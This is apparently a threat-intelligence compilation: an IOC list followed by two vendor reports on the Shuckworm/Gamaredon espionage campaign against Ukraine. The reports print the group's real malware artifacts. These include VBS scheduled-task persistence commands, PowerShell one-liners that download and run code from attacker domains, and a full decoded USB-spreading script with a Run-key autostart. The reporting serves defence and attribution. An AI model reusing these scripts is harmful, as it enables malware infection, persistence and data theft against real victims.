d26b381e0eb69f5f96cc909103c30976aeba493c6b74e62454ce056c468d18b7 decay.lnk
cdd8844fd9a2680066c4c8730e72a243c3526711664d63414f006a051cd8562a derived.lnk
27a96808f70808396af5c7cfd8e4a5084f2d2f9ccd83637084db05c2325d2832 deserted.lnk
ab2547a7b8603c232b226c4c6c8a5696803997a275d46d4d668d35da695b45fc deserted.exe hxxp://188.225.86.146/load.php?insurance=[REDACTED]
605b252e70e37bc187d19984b38be26832b6957ad003799c82f973924b506c44 deed.lnk
c8110e4ecc260eef020253f0f572a2de038fabf6ba48754cbc67bdd7043f938d deceive.lnk
a2075d2c8e274f0976e3541c80809dd602eb9fcc9159a86dca85fd411d79bc7c deprive.lnk
94d273d8f09e20151e39616cafa4d366aa340165930c9d688f58eb408dd7ec1e declared.exe hxxp://87.249.44.220/get.php?indignant=[REDACTED]
556151454abeec6ed615489b451d963075cb3ef0b3a17d36d6e0fa81816fe646 declared.lnk
f6fe720f10737e0fdce27de90bdff3f63948c4b05f74b86b11f9b4439e0943d3 delusion.lnk
6ebe07be97ebfb3ff1646bb9f76f7837b81b47b3e5e0707e86b48be5a12fee33 film.exe hxxp://87.249.49.13/WHATSAAP.php
9ac8ad208c37d0176d2b449cfa175e21881b2b37980a716ab6ba591921da8f6f dense.lnk
5bf5532a1eef0e8b4e648cb0ce392e48d1a5af35c7a6ceedc4464821ff40278c detachment.exe hxxp://87.249.44.41/time.php?italian=[REDACTED]
0ace5efc8f17a927bf8c82cc5458c9e25730bf48de36b036a75de241f326d581 deploy.lnk
16a89b871c1570c651f019b82367d00b99b0c11cddd90851839956a5dfc6a1b0 deficiency.lnk
1fcf5b775296efe4eadeb39ac04119632f682b76df7b06127946fde5a89f744d detachment.lnk
fcd99df8b7c2774fe2c6163303494bf8f163dcd0d0195bdfe5c2870ddc4b54ad mediatv.mov
b55e0dd02e6131465ac31bfb24aa82a72e183b3b6750d0b891a14a193965c918 decency.exe hxxp://89.223.125.10/time.php?incline=[REDACTED]
612fc508dc63c4c4f8b033c1f5bb2120804263a8949df661b0e3e99e0a8952f5 videotv.m3u Custom VBS backdoor - Pterodo
eb5d54ac8a551f6d5c325cf8b0466834bfa0a68e897ed7282b49663058f53daa depended.lnk
3a4f3a39d32715a57c9985690a3fea76140ba832a1bfbb0c6aa3b6270661e12c derived.exe
17b278045a8814170e06d7532e17b831bede8d968ee1a562ca2e9e9b9634c286 derived.exe hxxp://188.225.86.146/index.php?initial=[REDACTED]
cadc319a0b08c0403de65f2464789ce027bc5b3ec7e515389047e5b2c447b375 desperately.lnk
de85c2b7f4b773721f7ce87480a7d6fc2ce11c3ba15b6c7adfc29ca84cf1425b detachment.exe
db3a6f57c76cbc0ca5bd8c1602ca99a311da76e816ad30a15eab22b65b3590bb detachment.lnk
220825ea411ee933315688fbe1af74287bb0703803e514e7f78423d81584581e decisive.dat
19e471cd9e5ec3b896bf57215974e463dfe6c15cdb2ef8fde61b21a045cb8fe0 defender.dat
57e3e630fa503d93c5847a22f84d5a3129a618f2cdf048837acce94a78204675 defender.exe hxxp://87.249.54.15/load.php?intelligent=[REDACTED]
91411cb1aaf5d5cac6a11278b6235882d27b74bfaed681b278460113ba8f2b89 decide.lnk
734949521e503e6d5d8409f084dd4a26103693a221f2a0e6e643a45f509f07c5 departure.lnk
7f68c1f2e3583f0007659a7f70e3291d0f490eb7eea79955214b224649a1cd37 deity.lnk
49aff7b65ed83c30bb04c7db936d64d5fbead7fdb6db54bb93b5f9b59a8f4eee declared.lnk
d28efce81bb2bd547354861566aea5f02e23e68fbcb4629b3a7ffb763f934256 decent.lnk
ecec9a36436d41a68a01b91066e5c4d4752fa0282a743628580d179d3bf2358d demolition.lnk
65b9958a72670e8fb8e3edb6d937b020db7e88b02b574704ec9ceae68c4a4e98 deserter.lnk
715973fe6c2bdb98d9c01546345bb66d7dbb83606b66bded271302aac00eeb6e deceived.lnk
7e8cd3cc9010e8d55943a491ad3e915f32c6f623fa7a62b247a5d545dfff6fd8 designed.lnk
47a436b71078dcb85f24dc16e2b7fcb61229f0282a5330ce4f3ddb37a3479801 deerflies.fly
b02a9f20395664f01fd75e7dc2b46a8ddda73221a9d796de5729953d3b3452ee dene.lnk
7188b9e542ab521e23dae4fb4dca88f3f1eb642d20c853f822861e0d19af326b deerberry.exe hxxp://89.223.67.33/customer.php
646f6d84d81d833e1162e56c81c3659f724e7b0801c04abe35492b5e50165663 deny.lnk
44ef2dde18f13cd5f25f7489c72610eedd56e3f4aa3ba1030f549892f43871e0 deny.exe hxxp://89.223.67.223/cache.php?increasing=[REDACTED]
0a7dd7fbb1ea338aa5c77d19855adaf9864c7a542b68a2818318169b41edb463 delusion.lnk
eef073bf432192d1cc0abb5afac8027f8a954b1fa1e8ca0c0b6cbeb31de54d35 delusion.exe
c5a955b3e71defd69804e101709fdf2b62443ebf944ac00933e77bf43dc44327 deliberate.txt
7be21cd8a700a40c00abe025bb605cc7fbfe799a7465aad755370ba2b808e806 dessert.txt
ad5759e59dde3338a7c352417331a2faf1465c20205aa865fd474060f7bac8c7 depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
e7c2db5122a8ac7629c958d1f0d8a4df32c51e5da3be434ba0035c679aac7bce depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
233924d215d4fcbfbf96b8379a684f6519dd7f217bf54087ca38e23d2f7f6840 depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
6a64a8e2202db7f3a77d32b4852b71acf620f96580ca015e8bff8f5a09622032 depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
103a6245294ddabf46efe6a13ebf4bb60e922663ce47003411b57f8bfc413e60 depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
afb0f54d41dd85157f32b36d0039bf788268847b8609771918c9e28c90184081 deer.lnk
6aaec1520d036cb403592f937d1ce1f57b09baca440def7cbe9740a874252030 delirium.lnk
d93f7fb038abdb8481e6de0008eaf501508c33c7aca8f40fdd384a7b309b31df deserves.lnk
85c14f4a7580623f967b9e9f7120a14bd3291f2177298e6bcb32e234af9bb2a8 smycwtexsedfcwu.wsf
b2c4a9242b8dda270b7742b026812011b733fd7aff12d7f4a242678ee954ed8b depend.lnk
f313221677a7bca63d199ff2e1945866e70d535849d0d64b50b784ecd65a143c deputy.exe hxxp://94.228.126.157/cache.php?income=[REDACTED]
cf7d5172dc578138725bcc50bf30a82ad09db0ee7d78c6301de10bdfe8108bc8 deputy.exe hxxp://94.228.126.157/cache.php?income=[REDACTED]
f933791dfb9ea729e75937923690fe86e69e25b17d85aaa12ace29b0657bcf29 deputy.exe hxxp://94.228.126.157/cache.php?income=[REDACTED]
6e96621992288bf003be750b29f48bfdea324d9dfdb4951f0fa0de5070d301df defensive.lnk
33d511a761a663863426dc41499f7d851e9824678ed7d7f481dc4dd680bad9de departed.lnk
47fc29821791bb47ce2e9aebb4ee997b163ea2e6988674d84895ee80baa966f0 deity.lnk
583741d4b693d5af79cda7fc534ce2d404074a10e1efe0010c62339da4a26afd dessert.lnk
989362e61facd0a0d4d9edccb7e67e8fe23b639fb67a533f2518d799be150cbc denote.lnk
f8a90cd8727c9dfad3f850e7195af719a12e4c66f57dcf2671f20b550e0d6578 depart.lnk
557ec4e0314c9f84fa49f9a01287d22d5c3885648a2194fdf9cdbf42356e65a6 delirium.lnk
412a761d6040f097390e4f04b619908856cebc79c76231b5838a96a3b6570b76 denote.lnk
8a4613a05c7dc8c47e8af2fa8244d0f944e8a9230c56c4979e39112a945c415e delicious.lnk
ebe0d2bc31e6ab5a5be89bb08f902d3abfa73e4c05ccba7f3f527114f5b82003 demanded.lnk
56331bbea28b502cf83c93bb4cb51d0ba67a175d7faa6b5725526574e7040961 delighted.lnk
cf2ef8f895721d0a2479199bd5ed106f5d504b7d42d7cff65e38b8118299ca48 destitute.lnk
8d501ff6fd5559c6a842bd559cd3a3a96a24846c1bc28137b6625f8d65e8e007 decimal.lnk
13cbf286f1c0739b692cb729db517b092dcb11f8291d5a6ea3595bc382821939 design.lnk
e1fbce179add6e9dc9b58219e14d8bc64f2c8fc979a3c3be97ba14e7f9df2a75 desperate.lnk
6a9fc79e1b1afb091acf3c6c7797061e64f9ee3d5c3bae8c369f77b5f1caa38d default.lnk
7f7a7a3fce9c07b82c55f19119c5d9d9a7da70a24d2a6f73d3727fcfdda502e6 destroyer.lnk
4139524d2b3a350913e96a778cdcc41dfaa08542f59bef8ecc12b66a726c549c deceptive.lnk
6593ff4fe7cea48b838d7cad59a6c65bb1554957fda3d218ff6c073cc80ce9a4 decency.lnk
a9bfa4dd1547341d4d2ba29bbec4603e1dda312d2ab56ee4bb313c75e50969dc departments.lnk
bf49e3c80274d3cbda9ea2a60df93c6d38b44ee5cbaa268d9999cb02406f5226 depended.lnk
a21ed6591dcd2a38d3e9f26b8cf36197704a5507da3dd14fee95fbf247bc9eba depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
b8960abbdd1526fcaf23beaf30483fc43bf3686fba7edc2a9e833b3c8517f5b0 webmedia.m3u
00aa1fa6e40954f9e2128bc2c2322ffbffc6c8ecfa169efe60285c6c379c6351 depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
cd1812e376834efd129a8acc8d840eab498bc4f5955adbf2069620e3f084dce9 tvplaylist.mov
8662d61e6a53184e6b179c23784a01fd5766539e67d6d9150a60902f2939df4c depart.lnk
c65c23de51fbd99621f8473c632e4637994deeae73f599296efb8c7b7d00bae7 destruction.lnk
e1671159e4dd5f2095960a042a20e1c7e188697ef88856063f97dfc8cf8739da defiance.lnk
2c89dab8f7974bf40ae57a4daea817d46fa470df803fcf6e435a2e2cec94068a deputy.lnk
32d24fc67ab84789cd000c22ea377d8c80bcbc27784366a425da2d1874439d09 deputy.exe
62ecf284fd96e9307f7b6bfac3108a3b93cbe76cb15bd325c5b072ff05e9fcf7 deputy.exe hxxp://94.228.126.157/cache.php?income=[REDACTED]
1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1 planeta.exe hxxp://94.228.126.157/DRIVERS.php
b56531e7fbb4477743f31eda6abef8699f505350b958ba936b9ed94d48a4fa6b planeta.exe hvp://89.223.125.10/DRIVERS.php
7cefcf45949e651e583eadacd0c0ae29d23e5440d30eb9f44e2302894c58e713 delicious.lnk
356140d3c25d86a1ff14a5a34ed99da9398d473241dedb2d1f6413588b347ce2 deployment.lnk
0bfe7d56dcfb616156fc3069a721a97d403f903aaa996cc95bd433fafb74caa4 planeta.exe hxxp://89.223.125.10/DRIVERS.php
cb98673e0253dbb8d8f66a982599a02d2539a28d2bfd62e34ffd32df61c34277 delicate.exe hxxp://89.223.125.10/set.php?invaluable=[REDACTED]
23dd82d729e5f6e40bbf1fc7d2afa593d7f84982d39f938fb706d31b3697134e delicate.lnk
cfe679cb37b64f96cc5dcaaa660dccb6dd725989197c9de71c89ed541e6da1c8 deer.lnk
09631b2779858e05b39656940b392db85d627ca5fa525f177159677fc70efa39 decency.lnk
1eacf997ad8ee80f414e6b314337042e457d3eed15f6ebd3281960eec2fd35c5 deputy.lnk
7c5909f6ae4e30ed1bd8625571790d7dc8d721da1bc1f9aaaf7fa464a4541ea4 delivered.lnk
46c9937a0b2dceecb78e3e02526a1c8ac6a21d3460b1af52c1e1b996f14a3442 decidedly.lnk
24543fdb4a5cca5d93a9ffc052c9b0c15ce23999d70cfafa05e59cc31627bce5 deployment.lnk
b7bd622b279d3d3927daa64c7c9bc97887d85fccf360d46158e1c01c96bb6cb5 deliver.lnk
ead73958ddba93afc032bdf8ee997510548447a41f3a3dc5a8005a9cb11dced8 deputy.lnk
49dc7b4ae49deedd74e08760e9723cdea4c61286bd3a98149ea9abdf6b81befb dene.lnk
e42a68db9a99b11f97ea2f3ed890cb113b560acf268d1364166152416f61cc16 deliberately.lnk
d546e63f4d4922f0eeeed4203991384a503182fa735c4d779ddc111f04926ecf degree.lnk
9b8d589cd1799935d8cd23852abdd8a055612538536f8b90221351f97d6802aa dedicate.lnk
b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e deerbrook.ppt
a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455 defiant.exe
817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc deep-versed.nls
fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0 z4z05jn4.egf.exe
1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f deep-green.exe
f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa deep-green.exe
de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a deep-green.exe
d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7 deep-green.exe
45f8a037bf622bbee8ea50e069ffd74f8ffcb2273b3d3a1bd961b5f725de04a0 BAT file
e78a4ac2af9e94e7ae2c8e8d7099c6449562dc78cd3ce325e7d70da58773740c PE file
966474abe018536e7224466129b9351a4bd850270f66fbfa206c1279c4f2a04a Text file - hateful.ico
58075401e25cfe4a3abf6864860fc846ec313dc1add20d686990f0d626f2a597 VBS file - saviour.ico
119f9f69e6fa1f02c1940d1d222ecf67d739c7d240b5ac8d7ec862998fee064d PE file - 2444.tmp
d68688e9316c2712a27bd4bbd5e3ed762fb39bd34f1811ce4c0f0ca0480effb5 BAT file - 32161.cmd
d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 PE file - MSRC4Plugin_for_sc.dsm
99c9440a84cdc428ce140de901452eb334faec49f1f6258acdde1ddcbb34376e key file - rc4.key
e9b97d421e01a808bf62e8eb4534c1fc91c7158e1faac57dd7450f285a31041c INI file - UltraVNC.ini
0632bc84e157bfce9a3d0600997faa21e4edb77865f67f598c7ca52f2f351e83 VBS file - hateful.txt
db49fe96714ebd9707e5cd31e7f366016e45926ff577cce9c34a73ee1b6efcf9 VBS file - 8528.txt
98fd1d7dad30f0e68ff190f3891dfef262029f700b75e1958545fd580b0a4a2d VBS file - scatter.rar
476e78c8777a6e344177c71953b27c27b4b572985e70e8a8594ff8b86bf66aa3 Text file - savagely.rar
33d30cc71324c24c74d7575d7bfaebd578607122cc581f093267a9c511da044b HTA file - procexp.hta
4b86b7902adda55a9672c41bdfd6eff0ff3d6aa6a5accf8cf2b029e17d9cb25a PE file
7f97d312d6d7515ecfe7b787a0211c9e8702687e3611e38095d4f16212d75f42 BAT file
deep-pitched.enarto.ru
arianat.ru
deep-toned.chehalo.ru
iruto.ru
deer-lick.chehalo.ru
|
Shuckworm: Espionage Group Continues Intense Campaign Against Ukraine
Russia-linked group is continually refining its malware and often deploying multiple payloads to maximize chances of maintaining a persistent presence on targeted networks.
The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is continuing to mount an intense cyber campaign against organizations in Ukraine.
Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared in 2014. These attacks have continued unabated since the Russian invasion of the country. While the group’s tools and tactics are simple and sometimes crude, the frequency and persistence of its attacks mean that it remains one of the key cyber threats facing organizations in the region.
Multiple payloads
One of the hallmarks of the group’s recent activity is the deployment of multiple malware payloads on targeted computers. These payloads are usually different variants of the same malware (Backdoor.Pterodo), designed to perform similar tasks. Each will communicate with a different command-and-control (C&C) server.
The most likely reason for using multiple variants is that it may provide a rudimentary way of maintaining persistence on an infected computer. If one payload or C&C server is detected and blocked, the attackers can fall back on one of the others and roll out more new variants to compensate.
Symantec’s Threat Hunter Team, part of Broadcom Software, has found four distinct variants of Pterodo being used in recent attacks. All of them are Visual Basic Script (VBS) droppers with similar functionality. They will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a C&C server. All of the embedded VBScripts were very similar to one another and used similar obfuscation techniques.
Backdoor.Pterodo.B
This variant is a modified self-extracting archive, containing obfuscated VBScripts in resources that can be unpacked by 7-Zip.
It then adds them as a scheduled task to ensure persistence:
CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """UDPSync"" /tr ""wscript.exe """ + hailJPT + """" & " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """SyncPlayer"" /tr ""wscript.exe """ + enormouslyAKeIXNE + """" + " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
The script also copies itself to [USERPROFILE]\ntusers.ini file.
The two newly created files are more obfuscated VBScripts.
The first is designed to gather system information, such as the serial number of the C: drive, and sends this information to a C&C server.
The second adds another layer of persistence by copying the previously dropped ntusers.ini file to another desktop.ini file.
Backdoor.Pterodo.C
This variant is also designed to drop VBScripts on the infected computer. When run, it will first engage in API hammering, making multiple meaningless API calls, which is presumably an attempt to avoid sandbox detection. It will then unpack a script and a file called offspring.gif to C:\Users\[username]\. It will call the script with:
"wscript "[USERNAME]\lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b /pgs"
This script runs ipconfig /flushdns and executes the offspring.gif file. Offsprint.gif will download a PowerShell script from a random subdomain of corolain.ru and execute it:
cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object net.webclient).DownloadString('http://'+ [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru') +'/get.php'); Invoke-Expression $tmp"
Backdoor.Pterodo.D
This variant is another VBScript dropper. It will create two files:
[USERPROFILE]\atwuzxsjiobk.ql
[USERPROFILE]\abide.wav
It executes them with the following command:
wscript "[USERPROFILE]\atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b /pyvc
Similar to the other variants, the first script will run ipconfig /flushdns before calling the second script and removing the original executable.
The second script has two layers of obfuscation, but in the end it downloads the final payload from the domain declined.delivered.maizuko[.]ru and executes it.
Backdoor.Pterodo.E
The final variant is functionally very similar to variants B and C, engaging in API hammering before extracting two VBScript files to the user’s home directory. Script obfuscation is very similar to other variants.
Other tools
While the attackers have made heavy use of Pterodo during recent weeks, other tools have also been deployed alongside it. These include UltraVNC, an open-source remote-administration/remote-desktop-software utility. UltraVNC has previously been used by Shuckworm in multiple attacks.
In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft Sysinternals tool designed to provide information about which handles and DLL processes have opened or loaded.
Persistent threat
While Shuckworm is not the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations. It appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay ahead of detection.
While Shuckworm appears to be largely focused on intelligence gathering, its attacks could also potentially be a precursor to more serious intrusions, if the access it acquires to Ukrainian organizations is turned over to other Russian-sponsored actors.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
A full list of IOCs is available here on GitHub.
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
|
Shuckworm: Inside Russia’s Relentless Cyber Campaign Against Ukraine
Attackers heavily focused on acquiring military and security intelligence in order to support invading forces.
The Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.
In some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.
In a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.
Shuckworm (aka Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).
Shuckworm tactics, techniques, and procedures
Shuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:
.docx
.rar (RAR archive files)
.sfx (self-extracting archives)
.lnk
.hta (HTML smuggling files)
The victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.
Once victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.
Shuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.
Examples of recent scheduled tasks include execution of the following command lines:
CSIDL_SYSTEM\wscript.exe "CSIDL_PROFILE\appdata\local\temp\desert" //e:vbscript //b /dmc /j2k /spl /nff
CSIDL_SYSTEM\wscript.exe "CSIDL_PROFILE\favorites\jumper.asf" //e:vbscript //b /asf /mdf /nab /apk
wscript.exe "C:\Users\[REDACTED]\Contacts\delightful.abk" //e:vbscript //b /cfg /mdm /cfm /mp4
The new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an rtk.lnk extension. The script uses file names such as “porn_video.rtf.lnk”, “do_not_delete.rtf.lnk”” and “evidence.rtf.lnk” in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.
Next, the script enumerates all drives, copying itself to any available removable disks – USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.
In this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram’s micro-blogging platform, called Telegraph, to store C&C addresses.
Figure 1. Threat actors use Telegraph to store C&C addresses
Shuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.
Symantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.
Typical Attack Chain
The following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.
In one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.
After the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers’ C&C server:
"CSIDL_SYSTEM\cmd.exe" /c start /min "" powershell -w hidden "$gt='/get.'+[char](56+56)+[char](104)+[char](112);$hosta=[char](50+48);[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=[char](57+57);$hosta+=[char](60+57);$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text"
More recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.
Shuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group’s scripts observed per month between January and April 2023.
Next, a VBS script, which was Shuckworm’s Pterodo backdoor, was executed:
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model
Following this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.
On a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. "usb-накопитель" translates as "usb-drive".
The foto.safe file is a Base64-encoded script.
Decoded it looks like the following:
fUNCtIon sET-lnK ($chILd) {
$nAMetxt = "foto.sAfe".TolowER();
$NAmE = ("кОМПРОМат", "КОРЗиНА", "СеКРетнО" | GeT-rAnDOm).ToUPPeR();
$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;
$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +"\$nAMe.LNK");
$shoRtCuT.iConloCaTiON = "C:\wiNDoWS\SysteM32\SHELL32.DLL,3";
$SHOrTcUT.TArGetpAth = "c:\wInDOwS\sYstEm32\WInDOwSpowERshell\V1.0\POwERShEll.ExE".ToLoweR();
$text = "-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\$NAMetxt | OUT-STrIng))".TOlower();
$sHORTCUT.ArGUMEnTs = $tExt;
$sHortCUT.saVE();
$mYfIlE= $chIlD+"\$naMeTXT"
cOPY-Item $enV:UsErprOfilE\iNdEx.phP -deSTINAtION $mYfILE
$FIlE=GEt-ITEM $mYfiLE -forCe
$FiLe.ATtRiButes='hiDDEN'
}
Set-ITemPRoPERTY -pAth HkCU:\soFTWare\MicROsOfT\WiNDows\cURRENtVerSiON\ruN -NAME safE -valUE $env:windir'\sYSTeM32\wINDoWSPowErSHEll\v1.0\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\INdEX.PHp | Out-sTRing) | poweRSHeLL -noPROfILE';
coPy-item .\"fOtO.safe" -dEsTInaTioN $Env:USeRprOFIle\iNdEX.pHp
WHile($CoUNT -lE 2){
$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';
iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')
$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer "drIvETYPe='2'";
$Drive.naMe | FOreaCH-oBJecT{
$CHiLdS = GET-ChilDITem $drivE.nAMe
foReach($cHilDs IN $chiLDs)
{
if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )
{
sET-lnk $chILds.fUlLName
}}
IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){
SEt-lNK $DRivE.name
}}
STArt-SLEeP -S 300;
}
This PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.
Victims
One of the most significant things about this campaign is the targets, which include Ukrainian military, security, research, and government organizations. The attackers were observed focusing on machines that contained what appeared from file names to be sensitive military information that may be abused to support Russian kinetic war efforts.
The majority of these attacks began in February/March 2023, with the attackers maintaining a presence on some of the victim machines until May. The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information. There were indications in some organizations that the attackers were on the machines of the organizations’ human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.
This activity demonstrates that Shuckworm’s relentless focus on Ukraine continues. It seems clear that Russian nation-state-backed attack groups continue to prioritize high-value Ukrainian targets in attempts to find data that may potentially help their military operations.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
Malicious documents
f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192
31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b
c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30
c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8
3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137
3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601
acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8
USB propagation scripts
28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01
2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581
dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87
a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5
91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86
Example of LNK files created
7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a
LNK file names
account.rtf.lnk
account_card.rtf.lnk
application.rtf.lnk
bank_accоunt.rtf.lnk
blank_cap.rtf.lnk
business trip.rtf.lnk
compromising_evidence.rtf.lnk
conduct.rtf.lnk
cuprovod.rtf.lnk
do_not_delete.rtf.lnk
dsk.rtf.lnk
encouragement.rtf.lnk
form_new.rtf.lnk
instructions.rtf.lnk
journey.mdb
letter to.rtf.lnk
login_password.docx.lnk
login_password.rtf.lnk
mobilization.rtf.lnk
my_documents.rtf.lnk
my_photos.rtf.lnk
not_delete.rtf.lnk
on_account.rtf.lnk
order.rtf.lnk
petition.rtf.lnk
porn_video.rtf.lnk
pornography.rtf.lnk
pornophoto.rtf.lnk
proceedings.rtf.lnk
project_sheet.rtf.lnk
report.docx.lnk
report.rtf.lnk
report_note.rtf.lnk
request.rtf.lnk
resolution.rtf.lnk
secret.rtf.lnk
secretly.rtf.lnk
service.docx.lnk
service.rtf.lnk
sources.rtf.lnk
support.rtf.lnk
weapons_list.rtf.lnk
Recent C&C infrastructure (2023)
45.76.141[.]166
159.223.112[.]245
140.82.56[.]186
159.203.164[.]194
45.32.94[.]58
45.95.232[.]33
139.59.109[.]100
164.92.245[.]246
45.32.101[.]6
140.82.18[.]48
216.128.140[.]45
146.190.127[.]238
207.148.74[.]68
195.133.88[.]19
